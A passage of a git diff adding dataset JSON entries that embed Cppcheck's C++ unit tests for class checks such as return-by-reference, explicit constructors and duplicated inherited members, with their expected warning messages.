ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n const Check& c = getCheck();\n Check::FileInfo * fileInfo = (c.getFileInfo)(tokenizer, settings1, \"\");\n\n delete fileInfo;\n }\n\n void testGetFileInfo() {\n getFileInfo(\"void foo() { union { struct { }; }; }\"); // don't crash\n getFileInfo(\"struct sometype { sometype(); }; sometype::sometype() = delete;\"); // don't crash\n }\n\n#define checkReturnByReference(...) checkReturnByReference_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkReturnByReference_(const char* file, int line, const char (&code)[size]) {\n const Settings settings = settingsBuilder().severity(Severity::performance).library(\"std.cfg\").build();\n\n SimpleTokenizer2 tokenizer(settings, *this, code, \"test.cpp\");\n\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkReturnByReference)();\n }\n\n void returnByReference() {\n checkReturnByReference(\"struct T { int a[10]; };\\n\" // #12546\n \"struct S {\\n\"\n \" T t;\\n\"\n \" int i;\\n\"\n \" std::string s;\\n\"\n \" T getT() const { return t; }\\n\"\n \" int getI() const { return i; }\\n\"\n \" std::string getS() const { return s; }\\n\"\n \" unknown_t f() { return; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: (performance) Function 'getT()' should return member 't' by const reference. [returnByReference]\\n\"\n \"[test.cpp:8:17]: (performance) Function 'getS()' should return member 's' by const reference. [returnByReference]\\n\",\n errout_str());\n\n checkReturnByReference(\"struct B {\\n\" // #12608\n \" virtual std::string f() { return \\\"abc\\\"; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" std::string f() override { return s; }\\n\"\n \" std::string s;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkReturnByReference(\"struct S {\\n\"\n \" std::string f(std::string s) { return s; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkReturnByReference(\"struct S { S(); };\\n\" // #12620\n \"S::S() = delete;\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n checkReturnByReference(\"struct S {\\n\" // #12626\n \" std::string s;\\n\"\n \" operator std::string_view() const { return s; }\\n\"\n \" std::string_view get() const { return s; }\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct U {\\n\"\n \" T t;\\n\"\n \" operator const T& () const { return t; }\\n\"\n \"};\\n\"\n \"U u;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkReturnByReference(\"struct S {\\n\" // #13011\n \" std::string s;\\n\"\n \" const std::string& foo() const & { return s; }\\n\"\n \" std::string foo() && { return s; }\\n\" // <- used for temporary objects\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkReturnByReference(\"struct S1 {\\n\" // #13056\n \" std::string str;\\n\"\n \" struct T { std::string strT; } mT;\\n\"\n \"};\\n\"\n \"struct S2 {\\n\"\n \" std::string get1() const {\\n\"\n \" return mS1->str;\\n\"\n \" }\\n\"\n \" std::string get2() const {\\n\"\n \" return mS1->mT.strT;\\n\"\n \" }\\n\"\n \" S1* mS1;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:17]: (performance) Function 'get1()' should return member 'str' by const reference. [returnByReference]\\n\"\n \"[test.cpp:9:17]: (performance) Function 'get2()' should return member 'strT' by const reference. [returnByReference]\\n\",\n errout_str());\n\n checkReturnByReference(\"struct S { std::string str; };\\n\" // #13059\n \"struct T {\\n\"\n \" S temp() const;\\n\"\n \" S s[1];\\n\"\n \"};\\n\"\n \"struct U {\\n\"\n \" std::string get1() const {\\n\"\n \" return t.temp().str;\\n\"\n \" }\\n\"\n \" std::string get2() const {\\n\"\n \" return t.s[0].str;\\n\"\n \" }\\n\"\n \" T t;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:17]: (performance) Function 'get2()' should return member 'str' by const reference. [returnByReference]\\n\",\n errout_str());\n\n checkReturnByReference(\"struct S {\\n\" // #13845\n \" std::string m;\\n\"\n \" std::string get() { return m; }\\n\"\n \"};\\n\"\n \"std::string f(std::optional o) {\\n\"\n \" return o.transform(&S::get).value_or(\\\"\\\");\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n};\n\nREGISTER_TEST(TestClass)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/checkSelfInitialization.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/checkSelfInitialization.json new file mode 100644 index 0000000..e22f0ed --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/checkSelfInitialization.json @@ -0,0 +1,22 @@ +{ + "name": "checkSelfInitialization", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 24, + "branches": 10, + "apis": 36, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 8121 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"check.h\"\n#include \"checkclass.h\"\n#include \"ctu.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"settings.h\"\n\n#include \n#include \n#include \n#include \n\nclass TestClass : public TestFixture {\npublic:\n TestClass() : TestFixture(\"TestClass\") {}\n\nprivate:\n const Settings settings0 = settingsBuilder().severity(Severity::style).library(\"std.cfg\").build();\n const Settings settings1 = settingsBuilder().severity(Severity::warning).library(\"std.cfg\").build();\n const Settings settings2 = settingsBuilder().severity(Severity::style).library(\"std.cfg\").certainty(Certainty::inconclusive).build();\n const Settings settings3 = settingsBuilder().severity(Severity::style).library(\"std.cfg\").severity(Severity::warning).build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(virtualDestructor1); // Base class not found => no error\n TEST_CASE(virtualDestructor2); // Base class doesn't have a destructor\n TEST_CASE(virtualDestructor3); // Base class has a destructor, but it's not virtual\n TEST_CASE(virtualDestructor4); // Derived class doesn't have a destructor => no error\n TEST_CASE(virtualDestructor5); // Derived class has empty destructor => no error\n TEST_CASE(virtualDestructor6); // only report error if base class pointer that points at derived class is deleted\n TEST_CASE(virtualDestructorProtected);\n TEST_CASE(virtualDestructorInherited);\n TEST_CASE(virtualDestructorTemplate);\n\n TEST_CASE(virtualDestructorInconclusive); // ticket # 5807\n\n TEST_CASE(copyConstructor1);\n TEST_CASE(copyConstructor2); // ticket #4458\n TEST_CASE(copyConstructor3); // defaulted/deleted\n TEST_CASE(copyConstructor4); // base class with private constructor\n TEST_CASE(copyConstructor5); // multiple inheritance\n TEST_CASE(copyConstructor6); // array of pointers\n TEST_CASE(deletedMemberPointer); // deleted member pointer in destructor\n TEST_CASE(noOperatorEq); // class with memory management should have operator eq\n TEST_CASE(noDestructor); // class with memory management should have destructor\n\n TEST_CASE(operatorEqRetRefThis1);\n TEST_CASE(operatorEqRetRefThis2); // ticket #1323\n TEST_CASE(operatorEqRetRefThis3); // ticket #1405\n TEST_CASE(operatorEqRetRefThis4); // ticket #1451\n TEST_CASE(operatorEqRetRefThis5); // ticket #1550\n TEST_CASE(operatorEqRetRefThis6); // ticket #2479\n TEST_CASE(operatorEqRetRefThis7); // ticket #5782 endless recursion\n TEST_CASE(operatorEqToSelf1); // single class\n TEST_CASE(operatorEqToSelf2); // nested class\n TEST_CASE(operatorEqToSelf3); // multiple inheritance\n TEST_CASE(operatorEqToSelf4); // nested class with multiple inheritance\n TEST_CASE(operatorEqToSelf5); // ticket # 1233\n TEST_CASE(operatorEqToSelf6); // ticket # 1550\n TEST_CASE(operatorEqToSelf7);\n TEST_CASE(operatorEqToSelf8); // ticket #2179\n TEST_CASE(operatorEqToSelf9); // ticket #2592\n\n TEST_CASE(memsetOnStruct);\n TEST_CASE(memsetVector);\n TEST_CASE(memsetOnClass);\n TEST_CASE(memsetOnInvalid); // Ticket #5425: Crash upon invalid\n TEST_CASE(memsetOnStdPodType); // Ticket #5901 - std::uint8_t\n TEST_CASE(memsetOnFloat); // Ticket #5421\n TEST_CASE(memsetOnUnknown); // Ticket #7183\n TEST_CASE(mallocOnClass);\n\n TEST_CASE(this_subtraction); // warn about \"this-x\"\n\n // can member function be made const\n TEST_CASE(const1);\n TEST_CASE(const2);\n TEST_CASE(const3);\n TEST_CASE(const4);\n TEST_CASE(const5); // ticket #1482\n TEST_CASE(const6); // ticket #1491\n TEST_CASE(const7);\n TEST_CASE(const8); // ticket #1517\n TEST_CASE(const9); // ticket #1515\n TEST_CASE(const10); // ticket #1522\n TEST_CASE(const11); // ticket #1529\n TEST_CASE(const12); // ticket #1552\n TEST_CASE(const13); // ticket #1519\n TEST_CASE(const14);\n TEST_CASE(const15);\n TEST_CASE(const16); // ticket #1551\n TEST_CASE(const17); // ticket #1552\n TEST_CASE(const18);\n TEST_CASE(const19); // ticket #1612\n TEST_CASE(const20); // ticket #1602\n TEST_CASE(const21); // ticket #1683\n TEST_CASE(const22);\n TEST_CASE(const23); // ticket #1699\n TEST_CASE(const24); // ticket #1708\n TEST_CASE(const25); // ticket #1724\n TEST_CASE(const26); // ticket #1847\n TEST_CASE(const27); // ticket #1882\n TEST_CASE(const28); // ticket #1883\n TEST_CASE(const29); // ticket #1922\n TEST_CASE(const30);\n TEST_CASE(const31);\n TEST_CASE(const32); // ticket #1905 - member array is assigned\n TEST_CASE(const33);\n TEST_CASE(const34); // ticket #1964\n TEST_CASE(const35); // ticket #2001\n TEST_CASE(const36); // ticket #2003\n TEST_CASE(const37); // ticket #2081 and #2085\n TEST_CASE(const38); // ticket #2135\n TEST_CASE(const39);\n TEST_CASE(const40); // ticket #2228\n TEST_CASE(const41); // ticket #2255\n TEST_CASE(const42); // ticket #2282\n TEST_CASE(const43); // ticket #2377\n TEST_CASE(const44); // ticket #2595\n TEST_CASE(const45); // ticket #2664\n TEST_CASE(const46); // ticket #2636\n TEST_CASE(const47); // ticket #2670\n TEST_CASE(const48); // ticket #2672\n TEST_CASE(const49); // ticket #2795\n TEST_CASE(const50); // ticket #2943\n TEST_CASE(const51); // ticket #3040\n TEST_CASE(const52); // ticket #3048\n TEST_CASE(const53); // ticket #3049\n TEST_CASE(const54); // ticket #3052\n TEST_CASE(const55);\n TEST_CASE(const56); // ticket #3149\n TEST_CASE(const57); // tickets #2669 and #2477\n TEST_CASE(const58); // ticket #2698\n TEST_CASE(const59); // ticket #4646\n TEST_CASE(const60); // ticket #3322\n TEST_CASE(const61); // ticket #5606\n TEST_CASE(const62); // ticket #5701\n TEST_CASE(const63); // ticket #5983\n TEST_CASE(const64); // ticket #6268\n TEST_CASE(const65); // ticket #8693\n TEST_CASE(const66); // ticket #7714\n TEST_CASE(const67); // ticket #9193\n TEST_CASE(const68); // ticket #6471\n TEST_CASE(const69); // ticket #9806\n TEST_CASE(const70); // variadic template can receive more arguments than in its definition\n TEST_CASE(const71); // ticket #10146\n TEST_CASE(const72); // ticket #10520\n TEST_CASE(const73); // ticket #10735\n TEST_CASE(const74); // ticket #10671\n TEST_CASE(const75); // ticket #10065\n TEST_CASE(const76); // ticket #10825\n TEST_CASE(const77); // ticket #10307, #10311\n TEST_CASE(const78); // ticket #10315\n TEST_CASE(const79); // ticket #9861\n TEST_CASE(const80); // ticket #11328\n TEST_CASE(const81); // ticket #11330\n TEST_CASE(const82); // ticket #11513\n TEST_CASE(const83);\n TEST_CASE(const84);\n TEST_CASE(const85);\n TEST_CASE(const86);\n TEST_CASE(const87);\n TEST_CASE(const88);\n TEST_CASE(const89);\n TEST_CASE(const90);\n TEST_CASE(const91);\n TEST_CASE(const92);\n TEST_CASE(const93);\n TEST_CASE(const94);\n TEST_CASE(const95); // #13320 - do not warn about r-value ref method\n TEST_CASE(const96);\n TEST_CASE(const97);\n TEST_CASE(const98);\n TEST_CASE(const99);\n TEST_CASE(const100);\n\n TEST_CASE(const_handleDefaultParameters);\n TEST_CASE(const_passThisToMemberOfOtherClass);\n TEST_CASE(assigningPointerToPointerIsNotAConstOperation);\n TEST_CASE(assigningArrayElementIsNotAConstOperation);\n TEST_CASE(constoperator1); // operator< can often be const\n TEST_CASE(constoperator2); // operator<<\n TEST_CASE(constoperator3);\n TEST_CASE(constoperator4);\n TEST_CASE(constoperator5); // ticket #3252\n TEST_CASE(constoperator6); // ticket #8669\n TEST_CASE(constincdec); // increment/decrement => non-const\n TEST_CASE(constassign1);\n TEST_CASE(constassign2);\n TEST_CASE(constincdecarray); // increment/decrement array element => non-const\n TEST_CASE(constassignarray);\n TEST_CASE(constReturnReference);\n TEST_CASE(constDelete); // delete member variable => not const\n TEST_CASE(constLPVOID); // a function that returns LPVOID can't be const\n TEST_CASE(constFunc); // a function that calls const functions can be const\n TEST_CASE(constVirtualFunc);\n TEST_CASE(constIfCfg); // ticket #1881 - fp when there are #if\n TEST_CASE(constFriend); // ticket #1921 - fp for friend function\n TEST_CASE(constUnion); // ticket #2111 - fp when there is a union\n TEST_CASE(constArrayOperator); // #4406\n TEST_CASE(constRangeBasedFor); // #5514\n TEST_CASE(const_shared_ptr);\n TEST_CASE(constPtrToConstPtr);\n TEST_CASE(constTrailingReturnType);\n TEST_CASE(constRefQualified);\n TEST_CASE(staticArrayPtrOverload);\n TEST_CASE(qualifiedNameMember); // #10872\n\n TEST_CASE(initializerListOrder);\n TEST_CASE(initializerListArgument);\n TEST_CASE(initializerListUsage);\n TEST_CASE(selfInitialization);\n\n TEST_CASE(virtualFunctionCallInConstructor);\n TEST_CASE(pureVirtualFunctionCall);\n TEST_CASE(pureVirtualFunctionCallOtherClass);\n TEST_CASE(pureVirtualFunctionCallWithBody);\n TEST_CASE(pureVirtualFunctionCallPrevented);\n\n TEST_CASE(duplInheritedMembers);\n TEST_CASE(explicitConstructors);\n TEST_CASE(copyCtorAndEqOperator);\n\n TEST_CASE(override1);\n TEST_CASE(overrideCVRefQualifiers);\n\n TEST_CASE(uselessOverride);\n\n TEST_CASE(thisUseAfterFree);\n\n TEST_CASE(unsafeClassRefMember);\n\n TEST_CASE(ctuOneDefinitionRule);\n\n TEST_CASE(testGetFileInfo);\n\n TEST_CASE(returnByReference);\n }\n\n#define checkCopyCtorAndEqOperator(...) checkCopyCtorAndEqOperator_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkCopyCtorAndEqOperator_(const char* file, int line, const char (&code)[size]) {\n const Settings settings = settingsBuilder().severity(Severity::warning).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkCopyCtorAndEqOperator)();\n }\n\n void copyCtorAndEqOperator() {\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A(const A& other) { }\\n\"\n \" A& operator=(const A& other) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A(const A& other) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A& operator=(const A& other) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A(const A& other) { }\\n\"\n \" int x;\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:1]: (warning) The class 'A' has 'copy constructor' but lack of 'operator='.\\n\", \"\", errout_str());\n // TODO the error message should be clarified. It should say something like 'copy constructor is empty and will not assign i and therefore the behaviour is different to the default assignment operator'\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A& operator=(const A& other) { return *this; }\\n\"\n \" int x;\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:1]: (warning) The class 'A' has 'operator=' but lack of 'copy constructor'.\\n\", \"\", errout_str());\n // TODO the error message should be clarified. It should say something like 'assignment operator does not assign i and therefore the behaviour is different to the default copy constructor'\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A& operator=(const int &x) { this->x = x; return *this; }\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyCtorAndEqOperator(\"class A {\\n\"\n \"public:\\n\"\n \" A() : x(0) { }\\n\"\n \" A(const A & a) { x = a.x; }\\n\"\n \" A & operator = (const A & a) {\\n\"\n \" x = a.x;\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \"public:\\n\"\n \" B() { }\\n\"\n \" B(const B & b) :A(b) { }\\n\"\n \"private:\\n\"\n \" static int i;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7987 - Don't show warning when there is a move constructor\n checkCopyCtorAndEqOperator(\"struct S {\\n\"\n \" std::string test;\\n\"\n \" S(S&& s) : test(std::move(s.test)) { }\\n\"\n \" S& operator = (S &&s) {\\n\"\n \" test = std::move(s.test);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8337 - False positive in copy constructor detection\n checkCopyCtorAndEqOperator(\"struct StaticListNode {\\n\"\n \" StaticListNode(StaticListNode*& prev) : m_next(0) {}\\n\"\n \" StaticListNode* m_next;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkExplicitConstructors(...) checkExplicitConstructors_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkExplicitConstructors_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings0, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings0, this);\n (checkClass.checkExplicitConstructors)();\n }\n\n void explicitConstructors() {\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class() = delete;\\n\"\n \" Class(const Class& other) { }\\n\"\n \" Class(Class&& other) { }\\n\"\n \" explicit Class(int i) { }\\n\"\n \" explicit Class(const std::string&) { }\\n\"\n \" Class(int a, int b) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class() = delete;\\n\"\n \" explicit Class(const Class& other) { }\\n\"\n \" explicit Class(Class&& other) { }\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class() = delete;\\n\"\n \" Class(const Class& other) = delete;\\n\"\n \" Class(Class&& other) = delete;\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class(int i) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Class 'Class' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class(const Class& other) { }\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class(Class&& other) { }\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6585\n checkExplicitConstructors(\"class Class {\\n\"\n \" private: Class(const Class&);\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" public: Class(const Class&);\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7465: Error properly reported in templates\n checkExplicitConstructors(\"template struct Test {\\n\"\n \" Test(int) : fData(0) {}\\n\"\n \" T fData;\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" Test test;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (style) Struct 'Test < int >' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\", errout_str());\n\n // #7465: No error for copy or move constructors\n checkExplicitConstructors(\"template struct Test {\\n\"\n \" Test() : fData(0) {}\\n\"\n \" Test (const Test& aOther) : fData(aOther.fData) {}\\n\"\n \" Test (Test&& aOther) : fData(std::move(aOther.fData)) {}\\n\"\n \" T fData;\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" Test test;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8600\n checkExplicitConstructors(\"struct A { struct B; };\\n\"\n \"struct A::B {\\n\"\n \" B() = default;\\n\"\n \" B(const B&) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"struct A{\"\n \" A(int, int y=2) {}\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Struct 'A' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\", errout_str());\n\n checkExplicitConstructors(\"struct Foo {\\n\" // #10515\n \" template \\n\"\n \" explicit constexpr Foo(T) {}\\n\"\n \"};\\n\"\n \"struct Bar {\\n\"\n \" template \\n\"\n \" constexpr explicit Bar(T) {}\\n\"\n \"};\\n\"\n \"struct Baz {\\n\"\n \" explicit constexpr Baz(int) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Token;\\n\" // #11126\n \"struct Branch {\\n\"\n \" Branch(Token* tok = nullptr) : endBlock(tok) {}\\n\"\n \" Token* endBlock = nullptr;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Struct 'Branch' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\", errout_str());\n\n checkExplicitConstructors(\"struct S {\\n\"\n \" S(std::initializer_list il) : v(il) {}\\n\"\n \" std::vector v;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"template\\n\" // #10977\n \"struct A {\\n\"\n \" template\\n\"\n \" A(Ts&&... ts) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Color {\\n\" // #7176\n \"public:\\n\"\n \" Color(unsigned int rgba);\\n\"\n \" Color(std::uint8_t r = 0, std::uint8_t g = 0, std::uint8_t b = 0, std::uint8_t a = 255);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Class 'Color' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\"\n \"[test.cpp:4:5]: (style) Class 'Color' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\",\n errout_str());\n\n checkExplicitConstructors(\"template \\n\" // #13878\n \"struct S {\\n\"\n \" S(std::nullptr_t) {}\\n\"\n \" explicit S(T* p) : m(p) {}\\n\"\n \" T* m{};\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkDuplInheritedMembers(...) checkDuplInheritedMembers_( __FILE__, __LINE__, __VA_ARGS__)\n template\n void checkDuplInheritedMembers_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings1, this);\n (checkClass.checkDuplInheritedMembers)();\n }\n\n void duplInheritedMembers() {\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" protected:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:6:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base'. [duplInheritedMember]\\n\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" protected:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : public Base {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:6:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base'. [duplInheritedMember]\\n\", errout_str());\n\n checkDuplInheritedMembers(\"class Base0 {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class Base1 {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base0, Base1 {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class Base0 {\\n\"\n \" protected:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class Base1 {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base0, Base1 {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:9:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base0'. [duplInheritedMember]\\n\", errout_str());\n\n checkDuplInheritedMembers(\"class Base0 {\\n\"\n \" protected:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class Base1 {\\n\"\n \" public:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base0, Base1 {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:10:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base0'. [duplInheritedMember]\\n\"\n \"[test.cpp:7:8] -> [test.cpp:10:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base1'. [duplInheritedMember]\\n\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base {\\n\"\n \" int y;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class A {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct B {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown 'Base' class\n checkDuplInheritedMembers(\"class Derived : public UnknownBase {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6692\n checkDuplInheritedMembers(\"namespace test1 {\\n\"\n \" struct SWibble{};\\n\"\n \" typedef SWibble wibble;\\n\"\n \"}\\n\"\n \"namespace test2 {\\n\"\n \" struct SWibble : public test1::wibble {\\n\"\n \" int Value;\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9957\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" public:\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"class Derived1: public Base {\\n\"\n \" public:\\n\"\n \" int j;\\n\"\n \"};\\n\"\n \"class Derived2 : public Derived1 {\\n\"\n \" int i;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:10:9]: (warning) The class 'Derived2' defines member variable with name 'i' also defined in its parent class 'Base'. [duplInheritedMember]\\n\", errout_str());\n\n // don't crash on recursive template\n checkDuplInheritedMembers(\"template\\n\"\n \"struct BitInt : public BitInt { };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // don't crash on recursive template\n checkDuplInheritedMembers(\"namespace _impl {\\n\"\n \" template \\n\"\n \" struct fn_traits;\\n\"\n \"}\\n\"\n \"template \\n\"\n \"struct function_traits\\n\"\n \" : public _impl::fn_traits> {};\\n\"\n \"namespace _impl {\\n\"\n \" template \\n\"\n \" struct fn_traits\\n\"\n \" : public fn_traits {};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10594\n checkDuplInheritedMembers(\"template struct A { bool a = true; };\\n\"\n \"struct B { bool a; };\\n\"\n \"template<> struct A<1> : B {};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"struct B {\\n\"\n \" int g() const;\\n\"\n \" virtual int f() const { return g(); }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int g() const;\\n\"\n \" int f() const override { return g(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:6:9]: (warning) The struct 